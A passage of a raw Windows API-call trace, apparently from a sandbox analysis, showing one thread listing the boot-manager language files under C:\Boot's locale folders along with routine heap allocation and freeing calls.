GetCurrentThreadId () returned 0x9b0 [0117.329] FindClose (in: hFindFile=0x10f7390 | out: hFindFile=0x10f7390) returned 1 [0117.330] GetCurrentThreadId () returned 0x9b0 [0117.330] GetFileAttributesA (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0117.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0117.330] GetCurrentThreadId () returned 0x9b0 [0117.330] GetFileAttributesA (lpFileName="C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui")) returned 0x20 [0117.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0117.331] GetFullPathNameA (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\hu-HU\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.331] GetCurrentThreadId () returned 0x9b0 [0117.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0117.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0117.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0117.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0117.331] GetFullPathNameA (in: lpFileName="C:\\Boot\\hu-HU\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\hu-HU\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0117.331] GetCurrentThreadId () returned 0x9b0 [0117.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0117.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0117.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0117.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0117.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0117.332] GetCurrentThreadId () returned 0x9b0 [0117.332] FindFirstFileA (in: lpFileName="C:\\Boot\\it-IT\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7450 [0117.332] GetCurrentThreadId () returned 0x9b0 [0117.332] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.332] GetCurrentThreadId () returned 0x9b0 [0117.332] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.333] GetCurrentThreadId () returned 0x9b0 [0117.333] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0117.333] GetCurrentThreadId () returned 0x9b0 [0117.333] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0117.333] GetCurrentThreadId () returned 0x9b0 [0117.333] FindClose (in: hFindFile=0x10f7450 | out: hFindFile=0x10f7450) returned 1 [0117.333] GetFileAttributesA (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0117.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0117.334] GetCurrentThreadId () returned 0x9b0 [0117.334] GetFileAttributesA (lpFileName="C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui")) returned 0x20 [0117.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0117.334] GetCurrentThreadId () returned 0x9b0 [0117.334] GetFullPathNameA (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\it-IT\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0117.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0117.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0117.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0117.335] GetCurrentThreadId () returned 0x9b0 [0117.335] GetFullPathNameA (in: lpFileName="C:\\Boot\\it-IT\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\it-IT\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0117.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0117.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0117.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0117.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0117.335] GetCurrentThreadId () returned 0x9b0 [0117.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0117.335] FindFirstFileA (in: lpFileName="C:\\Boot\\ja-JP\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a10 [0117.336] GetCurrentThreadId () returned 0x9b0 [0117.336] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.336] GetCurrentThreadId () returned 0x9b0 [0117.336] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.336] GetCurrentThreadId () returned 0x9b0 [0117.336] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0117.336] GetCurrentThreadId () returned 0x9b0 [0117.336] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0117.336] GetCurrentThreadId () returned 0x9b0 [0117.337] FindClose (in: hFindFile=0x10f7a10 | out: hFindFile=0x10f7a10) returned 1 [0117.337] GetCurrentThreadId () returned 0x9b0 [0117.337] GetFileAttributesA (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0117.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0117.337] GetFileAttributesA (lpFileName="C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui")) returned 0x20 [0117.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0117.338] GetCurrentThreadId () returned 0x9b0 [0117.338] GetFullPathNameA (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\ja-JP\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0117.338] GetCurrentThreadId () returned 0x9b0 [0117.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0117.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0117.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0117.338] GetFullPathNameA (in: lpFileName="C:\\Boot\\ja-JP\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\ja-JP\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0117.339] GetCurrentThreadId () returned 0x9b0 [0117.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0117.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0117.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0117.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0117.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0117.339] GetCurrentThreadId () returned 0x9b0 [0117.339] FindFirstFileA (in: lpFileName="C:\\Boot\\ko-KR\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7690 [0117.339] GetCurrentThreadId () returned 0x9b0 [0117.339] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.340] GetCurrentThreadId () returned 0x9b0 [0117.340] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.340] GetCurrentThreadId () returned 0x9b0 [0117.340] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0117.340] GetCurrentThreadId () returned 0x9b0 [0117.340] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0117.340] GetCurrentThreadId () returned 0x9b0 [0117.340] FindClose (in: hFindFile=0x10f7690 | out: hFindFile=0x10f7690) returned 1 [0117.340] GetFileAttributesA (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0117.341] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.341] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0117.341] GetCurrentThreadId () returned 0x9b0 [0117.341] GetFileAttributesA (lpFileName="C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui")) returned 0x20 [0117.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0117.342] GetFullPathNameA (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\ko-KR\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.342] GetCurrentThreadId () returned 0x9b0 [0117.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0117.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0117.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0117.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0117.343] GetCurrentThreadId () returned 0x9b0 [0117.343] GetFullPathNameA (in: lpFileName="C:\\Boot\\ko-KR\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\ko-KR\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0117.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0117.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0117.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0117.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0117.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0117.343] GetCurrentThreadId () returned 0x9b0 [0117.344] FindFirstFileA (in: lpFileName="C:\\Boot\\lt-LT\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7910 [0117.344] GetCurrentThreadId () returned 0x9b0 [0117.344] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.344] GetCurrentThreadId () returned 0x9b0 [0117.344] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.344] GetCurrentThreadId () returned 0x9b0 [0117.344] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.345] GetCurrentThreadId () returned 0x9b0 [0117.345] FindClose (in: hFindFile=0x10f7910 | out: hFindFile=0x10f7910) returned 1 [0117.345] GetCurrentThreadId () returned 0x9b0 [0117.345] GetFileAttributesA (lpFileName="C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui")) returned 0x20 [0117.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0117.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0117.345] GetFullPathNameA (in: lpFileName="C:\\Boot\\lt-LT\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\lt-LT\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.346] GetCurrentThreadId () returned 0x9b0 [0117.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0117.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0117.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0117.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0117.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0117.346] GetCurrentThreadId () returned 0x9b0 [0117.346] FindFirstFileA (in: lpFileName="C:\\Boot\\lv-LV\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7710 [0117.346] GetCurrentThreadId () returned 0x9b0 [0117.347] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.347] GetCurrentThreadId () returned 0x9b0 [0117.347] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.347] GetCurrentThreadId () returned 0x9b0 [0117.347] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, 